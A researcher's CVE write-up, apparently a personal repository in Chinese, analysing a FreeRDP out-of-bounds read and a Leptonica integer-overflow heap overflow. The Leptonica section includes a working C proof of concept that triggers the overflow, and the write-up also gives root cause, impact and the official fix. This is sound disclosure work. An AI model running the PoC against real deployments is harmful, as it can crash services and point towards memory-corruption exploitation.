CVE REPO
这里记录我挖到的一些 CVE 以及对应分析。
CVE ID
- CVE-2025-68118 (FreeRDP)
- CVE-2026-30772 (Leptonica)
CVE-2025-68118 (FreeRDP)
Overview
在 FreeRDP 中的 freerdp_certificate_data_hash_ 函数存在潜在越界读问题。
问题出现在 _snprintf 的使用上:当生成字符串长度超过缓冲区大小时,返回值未被正确处理,且缓冲区可能未以 \0 结尾,导致后续字符串处理函数在未终止字符串上继续操作。
Root Cause
_snprintf(name, length, "%s:%" PRIu16, hostname, port);
_snprintf发生截断时不会保证\0结尾- 后续调用:
ensure_valid_charsetensure_lowercase
- 这些函数在未终止字符串上操作 → 越界读
Impact
理论影响:
- 越界读(OOB Read)
- 在极端情况下可能触发 crash(取决于 heap layout)
但根据厂商反馈:
- 默认客户端无法泄露数据
- 连接流程会提前终止
👉 实际影响较低
Notes
return _strdup(name);
_strdup 会一直读取直到遇到 \0,因此理论上存在跨页访问风险,但实际利用较困难。
CVE-2026-30772 (Leptonica)
Overview
在 Leptonica 1.88.0 之前版本中,字符串数组处理逻辑存在整数溢出漏洞,可导致堆缓冲区溢出。
漏洞位于 sarray1.c,并影响多个导出函数。
Root Cause
漏洞代码位于 src/sarray1.c 第 785 行附近:
// src/sarray1.c
l_int32 size, index, len; // [触发点:使用 32 位有符号整数]
...
size = 0;
for (i = first; i <= last; i++) {
str = sarrayGetString(sa, i, L_NOCOPY);
size += strlen(str) + 2; // [1] 整数溢出点
}
dest = (char *)LEPT_CALLOC(size + 1, sizeof(char)); // [2] 缓冲区分配过小
...
index = 0;
for (i = first; i <= last; i++) {
src = sarrayGetString(sa, i, L_NOCOPY);
len = strlen(src);
memcpy(dest + index, src, len); // [3] 堆溢出写入
index += len;
...
}
长度计算溢出:当所有字符串长度累加超过 2 的 31 次方之后size 变为负数;超过 2 的 32 次方后,size 发生环绕变成一个较小的正数。 错误分配:LEPT_CALLOC 接收到溢出后的错误长度,分配了一个极小的缓冲区。 **越界写入:**memcpy 循环会继续按照实际的 4GB 数据量进行写入。
符号扩展与向前溢出:在 64 位系统上,由于 index 也是 l_int32,当其超过 2GB 变为负数时,通过指针算术 dest + index 计算地址时会发生符号扩展(Sign Extension),导致指针“倒车”指向 dest 之前的内存地址,造成更大范围的内存破坏。
Propagation
该漏洞不仅存在于单一函数,而是影响多个可被调用的API函数:
sarrayToStringRange()(根源)sarrayToString()sarrayConcatUniformly()strcodeFinalize()
POC
/*
* ----------------------------------------------------------------------------
* Security Research Proof of Concept (PoC)
* ----------------------------------------------------------------------------
* Vulnerability: Integer Overflow leading to Heap Buffer Overflow
* Affected Component: Leptonica Library (sarray1.c, strcode.c)
* Functions: sarrayToString, sarrayToStringRange, sarrayConcatUniformly, strcodeFinalize
*
* Author: ret2ldz
* Discovery Date: 2026-01-26
*
* Copyright (c) 2026 ret2ldz. All rights reserved.
* ----------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "allheaders.h"
int main() {
l_int32 i;
l_int32 num_lines = 4300; // 4300行 * 1MB/行 ≈ 4.3GB,跨越 2^32
size_t line_size = 1024 * 1024; // 1MB 每行
char *line_data;
SARRAY *sa;
char *result;
printf("[*] Leptonica intergers overflow POC...\n");
line_data = (char *)malloc(line_size + 1);
memset(line_data, 'A', line_size);
line_data[line_size] = '\0';
sa = sarrayCreate(0);
printf("[*] add data to SARRAY (total 4.3GB)...\n");
for (i = 0; i < num_lines; i++) {
sarrayAddString(sa, line_data, L_COPY);
if (i % 500 == 0) {
printf(" done with %d MB...\n", i);
}
}
printf("[*] call sarrayToString()...\n");
result = sarrayToString(sa, 2);
if (result) {
printf("[+] ???: %p\n", result);
free(result);
}
sarrayDestroy(&sa);
free(line_data);
return 0;
}
Impact
- DoS(稳定触发)
- 潜在 RCE(取决于 heap 布局与控制能力)
👉 相比前一个漏洞,这个更接近可利用漏洞
Fix
官方修复方式:
- 将
l_int32替换为size_t - 修复长度计算逻辑
Reference
https://github.com/DanBloomberg/leptonica/commit/6b0635774118b039bae65ded8426264075585d84